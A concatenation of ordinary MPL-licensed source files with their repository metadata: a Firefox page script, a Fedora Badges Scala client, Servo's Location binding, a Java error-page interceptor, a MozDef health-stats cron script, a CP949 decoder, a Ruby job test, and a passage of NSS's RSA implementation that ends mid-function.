/* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ (function() { 'use strict'; var client = Mozilla.Client; var form = new Mozilla.SendYourself('download-firefox-rocket'); form.init(); function checkUpToDate() { // bug 1419573 - only show "Your Firefox is up to date" if it's the latest version. if (client.isFirefoxDesktop) { client.getFirefoxDetails(function(data) { if (data.isUpToDate) { document.querySelector('.c-page-header').classList.add('show-up-to-date-message'); } }); } } Mozilla.UITour.ping(function() { checkUpToDate(); }); })();
kyoshino/bedrock
media/js/firefox/whatsnew/whatsnew-id.js
JavaScript
mpl-2.0
863
package org.fedoraproject.mobile import android.net.Uri import android.util.Log import argonaut._, Argonaut._ import scalaz._, Scalaz._ import scalaz.concurrent.Task import scalaz.concurrent.Task._ import scalaz.effect._ import java.io.{ DataOutputStream, InputStreamReader } import java.net.HttpURLConnection import scala.io.{ Codec, Source } object Badges extends Webapi { val prodUrl = "https://badges.fedoraproject.org/" override val stagingUrl = Some("https://badges.stg.fedoraproject.org/") case class Badge( id: String, name: String, image: String, firstAwarded: Option[Float], firstAwardedPerson: Option[String], lastAwarded: Option[Float], lastAwardedPerson: Option[String], percentEarned: Float, timesAwarded: Int, description: String, issued: Option[Float] = None) // Only in the 'user' JSON. case class User( percentEarned: Float, user: String, assertions: List[Badge]) case class LeaderboardUser( nickname: String, badges: Int, rank: Int) case class Leaderboard(leaderboard: List[LeaderboardUser]) implicit def BadgeCodecJson: CodecJson[Badge] = casecodec11(Badge.apply, Badge.unapply)("id", "name", "image", "first_awarded", "first_awarded_person", "last_awarded", "last_awarded_person", "percent_earned", "times_awarded", "description", "issued") implicit def UserCodecJson: CodecJson[User] = casecodec3(User.apply, User.unapply)("percent_earned", "user", "assertions") implicit def LeaderboardUserCodecJson: CodecJson[LeaderboardUser] = casecodec3(LeaderboardUser.apply, LeaderboardUser.unapply)("nickname", "badges", "rank") implicit def LeaderboardCodecJson: CodecJson[Leaderboard] = casecodec1(Leaderboard.apply, Leaderboard.unapply)("leaderboard") /** Returns JSON after completing the query. */ def query(context: Task[android.content.Context], path: String): Task[String] = { val connection = for { ctx <- context c <- connectionPath(ctx, path) } yield (c) def perform(c: HttpURLConnection): Task[String] = Task { c.setRequestMethod("GET") Source.fromInputStream(c.getInputStream)(Codec.UTF8).mkString } for { _ <- Pure.logV("Badges", "Beginning query") c <- connection res <- perform(c) } yield res } def info(id: String)(implicit context: Task[android.content.Context]): Task[String] = query(context, s"/badge/${id}/json") def user(user: String)(implicit context: Task[android.content.Context]): Task[String \/ User] = query(context, s"/badge/${user}/json") ∘ (_.decodeEither[User]) def leaderboard(implicit context: Task[android.content.Context]): Task[String \/ List[LeaderboardUser]] = query(context, "/leaderboard/json") ∘ (_.decodeEither[Leaderboard]) ∘ (_.map(_.leaderboard)) }
fedora-infra/mobile
src/main/scala/webapi/Badges.scala
Scala
mpl-2.0
2,829
/* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ use dom::bindings::codegen::Bindings::LocationBinding; use dom::bindings::codegen::Bindings::LocationBinding::LocationMethods; use dom::bindings::global::GlobalRef; use dom::bindings::js::{JS, Root}; use dom::bindings::reflector::{Reflector, reflect_dom_object}; use dom::bindings::str::{DOMString, USVString}; use dom::urlhelper::UrlHelper; use dom::window::Window; use url::Url; #[dom_struct] pub struct Location { reflector_: Reflector, window: JS<Window>, } impl Location { fn new_inherited(window: &Window) -> Location { Location { reflector_: Reflector::new(), window: JS::from_ref(window) } } pub fn new(window: &Window) -> Root<Location> { reflect_dom_object(box Location::new_inherited(window), GlobalRef::Window(window), LocationBinding::Wrap) } fn get_url(&self) -> Url { self.window.get_url() } fn set_url_component(&self, value: USVString, setter: fn(&mut Url, USVString)) { let mut url = self.window.get_url(); setter(&mut url, value); self.window.load_url(url, false, None); } } impl LocationMethods for Location { // https://html.spec.whatwg.org/multipage/#dom-location-assign fn Assign(&self, url: USVString) { // TODO: per spec, we should use the _API base URL_ specified by the // _entry settings object_. let base_url = self.window.get_url(); if let Ok(url) = base_url.join(&url.0) { self.window.load_url(url, false, None); } } // https://html.spec.whatwg.org/multipage/#dom-location-reload fn Reload(&self) { self.window.load_url(self.get_url(), true, None); } // https://html.spec.whatwg.org/multipage/#dom-location-hash fn Hash(&self) -> USVString { UrlHelper::Hash(&self.get_url()) } // https://html.spec.whatwg.org/multipage/#dom-location-hash fn SetHash(&self, mut value: USVString) { if value.0.is_empty() { value = USVString("#".to_owned()); } self.set_url_component(value, UrlHelper::SetHash); } // https://html.spec.whatwg.org/multipage/#dom-location-host fn Host(&self) -> USVString { UrlHelper::Host(&self.get_url()) } // https://html.spec.whatwg.org/multipage/#dom-location-host fn SetHost(&self, value: USVString) { self.set_url_component(value, UrlHelper::SetHost); } // https://html.spec.whatwg.org/multipage/#dom-location-origin fn Origin(&self) -> USVString { UrlHelper::Origin(&self.get_url()) } // https://html.spec.whatwg.org/multipage/#dom-location-hostname fn Hostname(&self) -> USVString { UrlHelper::Hostname(&self.get_url()) } // https://html.spec.whatwg.org/multipage/#dom-location-hostname fn SetHostname(&self, value: USVString) { self.set_url_component(value, UrlHelper::SetHostname); } // https://html.spec.whatwg.org/multipage/#dom-location-href fn Href(&self) -> USVString { UrlHelper::Href(&self.get_url()) } // https://html.spec.whatwg.org/multipage/#dom-location-href fn SetHref(&self, value: USVString) { if let Ok(url) = self.window.get_url().join(&value.0) { self.window.load_url(url, false, None); } } // https://html.spec.whatwg.org/multipage/#dom-location-pathname fn Pathname(&self) -> USVString { UrlHelper::Pathname(&self.get_url()) } // https://html.spec.whatwg.org/multipage/#dom-location-pathname fn SetPathname(&self, value: USVString) { self.set_url_component(value, UrlHelper::SetPathname); } // https://html.spec.whatwg.org/multipage/#dom-location-port fn Port(&self) -> USVString { UrlHelper::Port(&self.get_url()) } // https://html.spec.whatwg.org/multipage/#dom-location-port fn SetPort(&self, value: USVString) { self.set_url_component(value, UrlHelper::SetPort); } // https://html.spec.whatwg.org/multipage/#dom-location-protocol fn Protocol(&self) -> USVString { UrlHelper::Protocol(&self.get_url()) } // https://html.spec.whatwg.org/multipage/#dom-location-protocol fn SetProtocol(&self, value: USVString) { self.set_url_component(value, UrlHelper::SetProtocol); } // https://html.spec.whatwg.org/multipage/#dom-location-href fn Stringifier(&self) -> DOMString { DOMString::from(self.Href().0) } // https://html.spec.whatwg.org/multipage/#dom-location-search fn Search(&self) -> USVString { UrlHelper::Search(&self.get_url()) } // https://html.spec.whatwg.org/multipage/#dom-location-search fn SetSearch(&self, value: USVString) { self.set_url_component(value, UrlHelper::SetSearch); } }
yodalee/servo
components/script/dom/location.rs
Rust
mpl-2.0
5,095
package com.ankang.report.interceptor; import java.io.IOException; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import org.apache.log4j.Logger; import org.springframework.web.servlet.handler.HandlerInterceptorAdapter; import com.ankang.report.config.ReportConfig; import com.ankang.report.config.ReportConfigItem; public class ReportInterceptor extends HandlerInterceptorAdapter { private static final Logger logger = Logger .getLogger(ReportInterceptor.class); @Override public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { if (!ReportConfig .isTrue(ReportConfigItem.REPORT_ISLOAD.getConfigName())) { return printErrorMsg(ReportConfigItem.REPORT_ISLOAD.getErrorMsg(), response); } else if (!ReportConfig.isTrue(ReportConfigItem.REPORT_SWITCH .getConfigName()) && request.getRequestURI().endsWith("/report/console")) { return printErrorMsg(ReportConfigItem.REPORT_SWITCH.getErrorMsg(), response); } return Boolean.TRUE; } private boolean printErrorMsg(String errorMsg, HttpServletResponse response) throws IOException { logger.error(errorMsg); String page = "<html lang=\"zh\">" + "<head>" + "<title>report error</title>" + "</head>" + "<style type=\"text/css\"> body{background-color:#EEEEEE;} </style>" + "<body>" + "<h1 align=\"center\"> "+ errorMsg +" </h1>" + "<h3 align=\"center\"> " + " <a href=\"https://github.com/codeLief/ankang-report\" target=\"view_window\"> 查看手册 </a> </h3>" + "</body>" + "</html>"; response.setContentType("text/html;charset=utf-8"); response.getWriter().print(page); return Boolean.FALSE; } }
codeLief/ankang-report
src/main/java/com/ankang/report/interceptor/ReportInterceptor.java
Java
mpl-2.0
1,735
#!/usr/bin/env python # This Source Code Form is subject to the terms of the Mozilla Public # License, v. 2.0. If a copy of the MPL was not distributed with this # file, You can obtain one at http://mozilla.org/MPL/2.0/. # Copyright (c) 2014 Mozilla Corporation # # Contributors: # Anthony Verez averez@mozilla.com import logging import requests import sys from datetime import datetime from configlib import getConfig, OptionParser from logging.handlers import SysLogHandler from pymongo import MongoClient import os sys.path.append(os.path.join(os.path.dirname(os.path.abspath(__file__)), '../lib')) from utilities.toUTC import toUTC from elasticsearch_client import ElasticsearchClient from query_models import SearchQuery, TermMatch logger = logging.getLogger(sys.argv[0]) def loggerTimeStamp(self, record, datefmt=None): return toUTC(datetime.now()).isoformat() def initLogger(): logger.level = logging.INFO formatter = logging.Formatter( '%(asctime)s - %(name)s - %(levelname)s - %(message)s') formatter.formatTime = loggerTimeStamp if options.output == 'syslog': logger.addHandler( SysLogHandler( address=(options.sysloghostname, options.syslogport))) else: sh = logging.StreamHandler(sys.stderr) sh.setFormatter(formatter) logger.addHandler(sh) def getFrontendStats(es): search_query = SearchQuery(minutes=15) search_query.add_must([ TermMatch('_type', 'mozdefhealth'), TermMatch('category', 'mozdef'), TermMatch('tags', 'latest'), ]) results = search_query.execute(es, indices=['events']) return results['hits'] def writeFrontendStats(data, mongo): # Empty everything before mongo.healthfrontend.remove({}) for host in data: for key in host['_source']['details'].keys(): # remove unwanted data if '.' in key: del host['_source']['details'][key] mongo.healthfrontend.insert(host['_source']) def writeEsClusterStats(data, mongo): # Empty everything before mongo.healthescluster.remove({}) mongo.healthescluster.insert(data) def getEsNodesStats(): r = requests.get(options.esservers[0] + '/_nodes/stats/os,jvm,fs') jsonobj = r.json() results = [] for nodeid in jsonobj['nodes']: # Skip non masters and data nodes since it won't have full stats if ('attributes' in jsonobj['nodes'][nodeid] and jsonobj['nodes'][nodeid]['attributes']['master'] == 'false' and jsonobj['nodes'][nodeid]['attributes']['data'] == 'false'): continue results.append({ 'hostname': jsonobj['nodes'][nodeid]['host'], 'disk_free': jsonobj['nodes'][nodeid]['fs']['total']['free_in_bytes'] / (1024 * 1024 * 1024), 'disk_total': jsonobj['nodes'][nodeid]['fs']['total']['total_in_bytes'] / (1024 * 1024 * 1024), 'mem_heap_per': jsonobj['nodes'][nodeid]['jvm']['mem']['heap_used_percent'], 'cpu_usage': jsonobj['nodes'][nodeid]['os']['cpu_percent'], 'load': jsonobj['nodes'][nodeid]['os']['load_average'] }) return results def writeEsNodesStats(data, mongo): # Empty everything before mongo.healthesnodes.remove({}) for nodedata in data: mongo.healthesnodes.insert(nodedata) def getEsHotThreads(): r = requests.get(options.esservers[0] + '/_nodes/hot_threads') results = [] for line in r.text.split('\n'): if 'cpu usage' in line: results.append(line) return results def writeEsHotThreads(data, mongo): # Empty everything before mongo.healtheshotthreads.remove({}) for line in data: mongo.healtheshotthreads.insert({'line': line}) def main(): logger.debug('starting') logger.debug(options) try: es = ElasticsearchClient((list('{0}'.format(s) for s in options.esservers))) client = MongoClient(options.mongohost, options.mongoport) # use meteor db mongo = client.meteor writeFrontendStats(getFrontendStats(es), mongo) writeEsClusterStats(es.get_cluster_health(), mongo) writeEsNodesStats(getEsNodesStats(), mongo) writeEsHotThreads(getEsHotThreads(), mongo) except Exception as e: logger.error("Exception %r sending health to mongo" % e) def initConfig(): # output our log to stdout or syslog options.output = getConfig('output', 'stdout', options.configfile) # syslog hostname options.sysloghostname = getConfig('sysloghostname', 'localhost', options.configfile) # syslog port options.syslogport = getConfig('syslogport', 514, options.configfile) # elastic search server settings options.esservers = list(getConfig('esservers', 'http://localhost:9200', options.configfile).split(',')) options.mongohost = getConfig('mongohost', 'localhost', options.configfile) options.mongoport = getConfig('mongoport', 3001, options.configfile) if __name__ == '__main__': parser = OptionParser() parser.add_option( "-c", dest='configfile', default=sys.argv[0].replace('.py', '.conf'), help="configuration file to use") (options, args) = parser.parse_args() initConfig() initLogger() main()
ameihm0912/MozDef
cron/healthToMongo.py
Python
mpl-2.0
5,358
/* -*- Mode: C; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* ***** BEGIN LICENSE BLOCK ***** * Version: MPL 1.1/GPL 2.0/LGPL 2.1 * * The contents of this file are subject to the Mozilla Public License Version * 1.1 (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * http://www.mozilla.org/MPL/ * * Software distributed under the License is distributed on an "AS IS" basis, * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License * for the specific language governing rights and limitations under the * License. * * The Original Code is mozilla.org code. * * The Initial Developer of the Original Code is * Netscape Communications Corporation. * Portions created by the Initial Developer are Copyright (C) 1998 * the Initial Developer. All Rights Reserved. * * Contributor(s): * Jungshik Shin <jshin@mailaps.org> * * Alternatively, the contents of this file may be used under the terms of * either of the GNU General Public License Version 2 or later (the "GPL"), * or the GNU Lesser General Public License Version 2.1 or later (the "LGPL"), * in which case the provisions of the GPL or the LGPL are applicable instead * of those above. If you wish to allow use of your version of this file only * under the terms of either the GPL or the LGPL, and not to allow others to * use your version of this file under the terms of the MPL, indicate your * decision by deleting the provisions above and replace them with the notice * and other provisions required by the GPL or the LGPL. If you do not delete * the provisions above, a recipient may use your version of this file under * the terms of any one of the MPL, the GPL or the LGPL. * * ***** END LICENSE BLOCK ***** */ #include "nsCP949ToUnicode.h" #include "nsUCvKODll.h" #include "nsUCConstructors.h" //---------------------------------------------------------------------- // Global functions and data [declaration] static const uScanClassID g_CP949ScanClassIDs[] = { u1ByteCharset, // This is necessary to decode 8byte sequence representation of Hangul // syllables. This representation is uniq to EUC-KR and is not used // in CP949. However, this converter is for both EUC-KR and CP949 // so that this class ID is put here. See bug 131388. uDecomposedHangulCharset, u2BytesGRCharset, // EUC_KR u2BytesGR128Charset, // CP949 High u2BytesCharset // CP949 Low }; // CP949(non-EUC-KR portion) to Unicode static const PRUint16 g_utCP949NoKSCHangulMapping[] = { #include "u20cp949hangul.ut" }; static const uRange g_CP949Ranges[] = { { 0x00, 0x7E }, { 0xA4, 0xA4 }, // 8byte seq. for Hangul syllables not available // in pre-composed form in KS X 1001 { 0xA1, 0xFE }, { 0xA1, 0xC6 }, // CP949 extension B. ends at 0xC6. { 0x80, 0xA0 } }; static const PRUint16 *g_CP949MappingTableSet [] ={ g_ucvko_AsciiMapping, g_HangulNullMapping, g_utKSC5601Mapping, g_utCP949NoKSCHangulMapping, g_utCP949NoKSCHangulMapping //g_CP949HighMapping, //g_CP949LowMapping }; NS_METHOD nsCP949ToUnicodeConstructor(nsISupports *aOuter, REFNSIID aIID, void **aResult) { return CreateMultiTableDecoder(sizeof(g_CP949Ranges) / sizeof(g_CP949Ranges[0]), (const uRange*) &g_CP949Ranges, (uScanClassID*) &g_CP949ScanClassIDs, (uMappingTable**) &g_CP949MappingTableSet, 1, aOuter, aIID, aResult); }
tmhorne/celtx
intl/uconv/ucvko/nsCP949ToUnicode.cpp
C++
mpl-2.0
3,615
require "test_helper" require "webmock/minitest" class UploadDefaultCurrencyJobTest < ActiveJob::TestCase test "sends default currency to eyeshade" do prev_api_eyeshade_offline = Rails.application.secrets[:api_eyeshade_offline] begin Rails.application.secrets[:api_eyeshade_offline] = false publisher = publishers(:verified) publisher.default_currency = 'USD' publisher.save! stub_request(:patch, /v1\/owners\/#{publisher.owner_identifier}\/wallet/). with(headers: {'Accept'=>'*/*', 'Accept-Encoding'=>'gzip;q=1.0,deflate;q=0.6,identity;q=0.3', 'Authorization'=>"Bearer #{Rails.application.secrets[:api_eyeshade_key]}", 'Content-Type'=>'application/json', 'User-Agent'=>'Faraday v0.9.2'}, body: <<~BODY { "defaultCurrency": "USD" } BODY ) UploadDefaultCurrencyJob.perform_now(publisher_id: publisher.id) publisher.reload assert_equal 'USD', publisher.default_currency ensure Rails.application.secrets[:api_eyeshade_offline] = prev_api_eyeshade_offline end end end
dgeb/publishers
test/jobs/upload_default_currency_job_test.rb
Ruby
mpl-2.0
1,225
/* ***** BEGIN LICENSE BLOCK ***** * Version: MPL 1.1/GPL 2.0/LGPL 2.1 * * The contents of this file are subject to the Mozilla Public License Version * 1.1 (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * http://www.mozilla.org/MPL/ * * Software distributed under the License is distributed on an "AS IS" basis, * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License * for the specific language governing rights and limitations under the * License. * * The Original Code is the Netscape security libraries. * * The Initial Developer of the Original Code is * Netscape Communications Corporation. * Portions created by the Initial Developer are Copyright (C) 1994-2000 * the Initial Developer. All Rights Reserved. * * Contributor(s): * * Alternatively, the contents of this file may be used under the terms of * either the GNU General Public License Version 2 or later (the "GPL"), or * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"), * in which case the provisions of the GPL or the LGPL are applicable instead * of those above. If you wish to allow use of your version of this file only * under the terms of either the GPL or the LGPL, and not to allow others to * use your version of this file under the terms of the MPL, indicate your * decision by deleting the provisions above and replace them with the notice * and other provisions required by the GPL or the LGPL. If you do not delete * the provisions above, a recipient may use your version of this file under * the terms of any one of the MPL, the GPL or the LGPL. * * ***** END LICENSE BLOCK ***** */ /* * RSA key generation, public key op, private key op. * * $Id: rsa.c,v 1.39 2009/02/03 05:34:41 julien.pierre.boogz%sun.com Exp $ */ #ifdef FREEBL_NO_DEPEND #include "stubs.h" #endif #include "secerr.h" #include "prclist.h" #include "nssilock.h" #include "prinit.h" #include "blapi.h" #include "mpi.h" #include "mpprime.h" #include "mplogic.h" #include "secmpi.h" #include "secitem.h" #include "blapii.h" /* ** Number of times to attempt to generate a prime (p or q) from a random ** seed (the seed changes for each iteration). */ #define MAX_PRIME_GEN_ATTEMPTS 10 /* ** Number of times to attempt to generate a key. The primes p and q change ** for each attempt. */ #define MAX_KEY_GEN_ATTEMPTS 10 /* exponent should not be greater than modulus */ #define BAD_RSA_KEY_SIZE(modLen, expLen) \ ((expLen) > (modLen) || (modLen) > RSA_MAX_MODULUS_BITS/8 || \ (expLen) > RSA_MAX_EXPONENT_BITS/8) /* ** RSABlindingParamsStr ** ** For discussion of Paul Kocher's timing attack against an RSA private key ** operation, see http://www.cryptography.com/timingattack/paper.html. The ** countermeasure to this attack, known as blinding, is also discussed in ** the Handbook of Applied Cryptography, 11.118-11.119. */ struct RSABlindingParamsStr { /* Blinding-specific parameters */ PRCList link; /* link to list of structs */ SECItem modulus; /* list element "key" */ mp_int f, g; /* Blinding parameters */ int counter; /* number of remaining uses of (f, g) */ }; /* ** RSABlindingParamsListStr ** ** List of key-specific blinding params. The arena holds the volatile pool ** of memory for each entry and the list itself. The lock is for list ** operations, in this case insertions and iterations, as well as control ** of the counter for each set of blinding parameters. */ struct RSABlindingParamsListStr { PZLock *lock; /* Lock for the list */ PRCList head; /* Pointer to the list */ }; /* ** The master blinding params list. */ static struct RSABlindingParamsListStr blindingParamsList = { 0 }; /* Number of times to reuse (f, g). Suggested by Paul Kocher */ #define RSA_BLINDING_PARAMS_MAX_REUSE 50 /* Global, allows optional use of blinding. On by default. */ /* Cannot be changed at the moment, due to thread-safety issues. */ static PRBool nssRSAUseBlinding = PR_TRUE; static SECStatus rsa_keygen_from_primes(mp_int *p, mp_int *q, mp_int *e, RSAPrivateKey *key, unsigned int keySizeInBits) { mp_int n, d, phi; mp_int psub1, qsub1, tmp; mp_err err = MP_OKAY; SECStatus rv = SECSuccess; MP_DIGITS(&n) = 0; MP_DIGITS(&d) = 0; MP_DIGITS(&phi) = 0; MP_DIGITS(&psub1) = 0; MP_DIGITS(&qsub1) = 0; MP_DIGITS(&tmp) = 0; CHECK_MPI_OK( mp_init(&n) ); CHECK_MPI_OK( mp_init(&d) ); CHECK_MPI_OK( mp_init(&phi) ); CHECK_MPI_OK( mp_init(&psub1) ); CHECK_MPI_OK( mp_init(&qsub1) ); CHECK_MPI_OK( mp_init(&tmp) ); /* 1. Compute n = p*q */ CHECK_MPI_OK( mp_mul(p, q, &n) ); /* verify that the modulus has the desired number of bits */ if ((unsigned)mpl_significant_bits(&n) != keySizeInBits) { PORT_SetError(SEC_ERROR_NEED_RANDOM); rv = SECFailure; goto cleanup; } /* 2. Compute phi = (p-1)*(q-1) */ CHECK_MPI_OK( mp_sub_d(p, 1, &psub1) ); CHECK_MPI_OK( mp_sub_d(q, 1, &qsub1) ); CHECK_MPI_OK( mp_mul(&psub1, &qsub1, &phi) ); /* 3. Compute d = e**-1 mod(phi) */ err = mp_invmod(e, &phi, &d); /* Verify that phi(n) and e have no common divisors */ if (err != MP_OKAY) { if (err == MP_UNDEF) { PORT_SetError(SEC_ERROR_NEED_RANDOM); err = MP_OKAY; /* to keep PORT_SetError from being called again */ rv = SECFailure; } goto cleanup; } MPINT_TO_SECITEM(&n, &key->modulus, key->arena); MPINT_TO_SECITEM(&d, &key->privateExponent, key->arena); /* 4. Compute exponent1 = d mod (p-1) */ CHECK_MPI_OK( mp_mod(&d, &psub1, &tmp) ); MPINT_TO_SECITEM(&tmp, &key->exponent1, key->arena); /* 5. Compute exponent2 = d mod (q-1) */ CHECK_MPI_OK( mp_mod(&d, &qsub1, &tmp) ); MPINT_TO_SECITEM(&tmp, &key->exponent2, key->arena); /* 6. Compute coefficient = q**-1 mod p */ CHECK_MPI_OK( mp_invmod(q, p, &tmp) ); MPINT_TO_SECITEM(&tmp, &key->coefficient, key->arena); cleanup: mp_clear(&n); mp_clear(&d); mp_clear(&phi); mp_clear(&psub1); mp_clear(&qsub1); mp_clear(&tmp); if (err) { MP_TO_SEC_ERROR(err); rv = SECFailure; } return rv; } static SECStatus generate_prime(mp_int *prime, int primeLen) { mp_err err = MP_OKAY; SECStatus rv = SECSuccess; unsigned long counter = 0; int piter; unsigned char *pb = NULL; pb = PORT_Alloc(primeLen); if (!pb) { PORT_SetError(SEC_ERROR_NO_MEMORY); goto cleanup; } for (piter = 0; piter < MAX_PRIME_GEN_ATTEMPTS; piter++) { CHECK_SEC_OK( RNG_GenerateGlobalRandomBytes(pb, primeLen) ); pb[0] |= 0xC0; /* set two high-order bits */ pb[primeLen-1] |= 0x01; /* set low-order bit */ CHECK_MPI_OK( mp_read_unsigned_octets(prime, pb, primeLen) ); err = mpp_make_prime(prime, primeLen * 8, PR_FALSE, &counter); if (err != MP_NO) goto cleanup; /* keep going while err == MP_NO */ } cleanup: if (pb) PORT_ZFree(pb, primeLen); if (err) { MP_TO_SEC_ERROR(err); rv = SECFailure; } return rv; } /* ** Generate and return a new RSA public and private key. ** Both keys are encoded in a single RSAPrivateKey structure. ** "cx" is the random number generator context ** "keySizeInBits" is the size of the key to be generated, in bits. ** 512, 1024, etc. ** "publicExponent" when not NULL is a pointer to some data that ** represents the public exponent to use. The data is a byte ** encoded integer, in "big endian" order. */ RSAPrivateKey * RSA_NewKey(int keySizeInBits, SECItem *publicExponent) { unsigned int primeLen; mp_int p, q, e; int kiter; mp_err err = MP_OKAY; SECStatus rv = SECSuccess; int prerr = 0; RSAPrivateKey *key = NULL; PRArenaPool *arena = NULL; /* Require key size to be a multiple of 16 bits. */ if (!publicExponent || keySizeInBits % 16 != 0 || BAD_RSA_KEY_SIZE(keySizeInBits/8, publicExponent->len)) { PORT_SetError(SEC_ERROR_INVALID_ARGS); return NULL; } /* 1. Allocate arena & key */ arena = PORT_NewArena(NSS_FREEBL_DEFAULT_CHUNKSIZE); if (!arena) { PORT_SetError(SEC_ERROR_NO_MEMORY); return NULL; } key = (RSAPrivateKey *)PORT_ArenaZAlloc(arena, sizeof(RSAPrivateKey)); if (!key) { PORT_SetError(SEC_ERROR_NO_MEMORY); PORT_FreeArena(arena, PR_TRUE); return NULL; } key->arena = arena; /* length of primes p and q (in bytes) */ primeLen = keySizeInBits / (2 * BITS_PER_BYTE); MP_DIGITS(&p) = 0; MP_DIGITS(&q) = 0; MP_DIGITS(&e) = 0; CHECK_MPI_OK( mp_init(&p) ); CHECK_MPI_OK( mp_init(&q) ); CHECK_MPI_OK( mp_init(&e) ); /* 2. Set the version number (PKCS1 v1.5 says it should be zero) */ SECITEM_AllocItem(arena, &key->version, 1); key->version.data[0] = 0; /* 3. Set the public exponent */ SECITEM_CopyItem(arena, &key->publicExponent, publicExponent); SECITEM_TO_MPINT(*publicExponent, &e); kiter = 0; do { prerr = 0; PORT_SetError(0); CHECK_SEC_OK( generate_prime(&p, primeLen) ); CHECK_SEC_OK( generate_prime(&q, primeLen) ); /* Assure q < p */ if (mp_cmp(&p, &q) < 0) mp_exch(&p, &q); /* Attempt to use these primes to generate a key */ rv = rsa_keygen_from_primes(&p, &q, &e, key, keySizeInBits); if (rv == SECSuccess) break; /* generated two good primes */ prerr = PORT_GetError(); kiter++; /* loop until have primes */ } while (prerr == SEC_ERROR_NEED_RANDOM && kiter < MAX_KEY_GEN_ATTEMPTS); if (prerr) goto cleanup; MPINT_TO_SECITEM(&p, &key->prime1, arena); MPINT_TO_SECITEM(&q, &key->prime2, arena); cleanup: mp_clear(&p); mp_clear(&q); mp_clear(&e); if (err) { MP_TO_SEC_ERROR(err); rv = SECFailure; } if (rv && arena) { PORT_FreeArena(arena, PR_TRUE); key = NULL; } return key; } static unsigned int rsa_modulusLen(SECItem *modulus) { unsigned char byteZero = modulus->data[0]; unsigned int modLen = modulus->len - !byteZero; return modLen; } /* ** Perform a raw public-key operation ** Length of input and output buffers are equal to key's modulus len. */ SECStatus RSA_PublicKeyOp(RSAPublicKey *key, unsigned char *output, const unsigned char *input) { unsigned int modLen, expLen, offset; mp_int n, e, m, c; mp_err err = MP_OKAY; SECStatus rv = SECSuccess; if (!key || !output || !input) { PORT_SetError(SEC_ERROR_INVALID_ARGS); return SECFailure; } MP_DIGITS(&n) = 0; MP_DIGITS(&e) = 0; MP_DIGITS(&m) = 0; MP_DIGITS(&c) = 0; CHECK_MPI_OK( mp_init(&n) ); CHECK_MPI_OK( mp_init(&e) ); CHECK_MPI_OK( mp_init(&m) ); CHECK_MPI_OK( mp_init(&c) ); modLen = rsa_modulusLen(&key->modulus); expLen = rsa_modulusLen(&key->publicExponent); /* 1. Obtain public key (n, e) */ if (BAD_RSA_KEY_SIZE(modLen, expLen)) { PORT_SetError(SEC_ERROR_INVALID_KEY); rv = SECFailure; goto cleanup; } SECITEM_TO_MPINT(key->modulus, &n); SECITEM_TO_MPINT(key->publicExponent, &e); if (e.used > n.used) { /* exponent should not be greater than modulus */ PORT_SetError(SEC_ERROR_INVALID_KEY); rv = SECFailure; goto cleanup; } /* 2. check input out of range (needs to be in range [0..n-1]) */ offset = (key->modulus.data[0] == 0) ? 1 : 0; /* may be leading 0 */ if (memcmp(input, key->modulus.data + offset, modLen) >= 0) { PORT_SetError(SEC_ERROR_INPUT_LEN); rv = SECFailure; goto cleanup; } /* 2 bis. Represent message as integer in range [0..n-1] */ CHECK_MPI_OK( mp_read_unsigned_octets(&m, input, modLen) ); /* 3. Compute c = m**e mod n */ #ifdef USE_MPI_EXPT_D /* XXX see which is faster */ if (MP_USED(&e) == 1) { CHECK_MPI_OK( mp_exptmod_d(&m, MP_DIGIT(&e, 0), &n, &c) ); } else #endif CHECK_MPI_OK( mp_exptmod(&m, &e, &n, &c) ); /* 4. result c is ciphertext */ err = mp_to_fixlen_octets(&c, output, modLen); if (err >= 0) err = MP_OKAY; cleanup: mp_clear(&n); mp_clear(&e); mp_clear(&m); mp_clear(&c); if (err) { MP_TO_SEC_ERROR(err); rv = SECFailure; } return rv; } /* ** RSA Private key operation (no CRT). */ static SECStatus rsa_PrivateKeyOpNoCRT(RSAPrivateKey *key, mp_int *m, mp_int *c, mp_int *n, unsigned int modLen) { mp_int d; mp_err err = MP_OKAY; SECStatus rv = SECSuccess; MP_DIGITS(&d) = 0; CHECK_MPI_OK( mp_init(&d) ); SECITEM_TO_MPINT(key->privateExponent, &d); /* 1. m = c**d mod n */ CHECK_MPI_OK( mp_exptmod(c, &d, n, m) ); cleanup: mp_clear(&d); if (err) { MP_TO_SEC_ERROR(err); rv = SECFailure; } return rv; } /* ** RSA Private key operation using CRT. */ static SECStatus rsa_PrivateKeyOpCRTNoCheck(RSAPrivateKey *key, mp_int *m, mp_int *c) { mp_int p, q, d_p, d_q, qInv; mp_int m1, m2, h, ctmp; mp_err err = MP_OKAY; SECStatus rv = SECSuccess; MP_DIGITS(&p) = 0; MP_DIGITS(&q) = 0; MP_DIGITS(&d_p) = 0; MP_DIGITS(&d_q) = 0; MP_DIGITS(&qInv) = 0; MP_DIGITS(&m1) = 0; MP_DIGITS(&m2) = 0; MP_DIGITS(&h) = 0; MP_DIGITS(&ctmp) = 0; CHECK_MPI_OK( mp_init(&p) ); CHECK_MPI_OK( mp_init(&q) ); CHECK_MPI_OK( mp_init(&d_p) ); CHECK_MPI_OK( mp_init(&d_q) ); CHECK_MPI_OK( mp_init(&qInv) ); CHECK_MPI_OK( mp_init(&m1) ); CHECK_MPI_OK( mp_init(&m2) ); CHECK_MPI_OK( mp_init(&h) ); CHECK_MPI_OK( mp_init(&ctmp) ); /* copy private key parameters into mp integers */ SECITEM_TO_MPINT(key->prime1, &p); /* p */ SECITEM_TO_MPINT(key->prime2, &q); /* q */ SECITEM_TO_MPINT(key->exponent1, &d_p); /* d_p = d mod (p-1) */ SECITEM_TO_MPINT(key->exponent2, &d_q); /* d_q = d mod (q-1) */ SECITEM_TO_MPINT(key->coefficient, &qInv); /* qInv = q**-1 mod p */ /* 1. m1 = c**d_p mod p */ CHECK_MPI_OK( 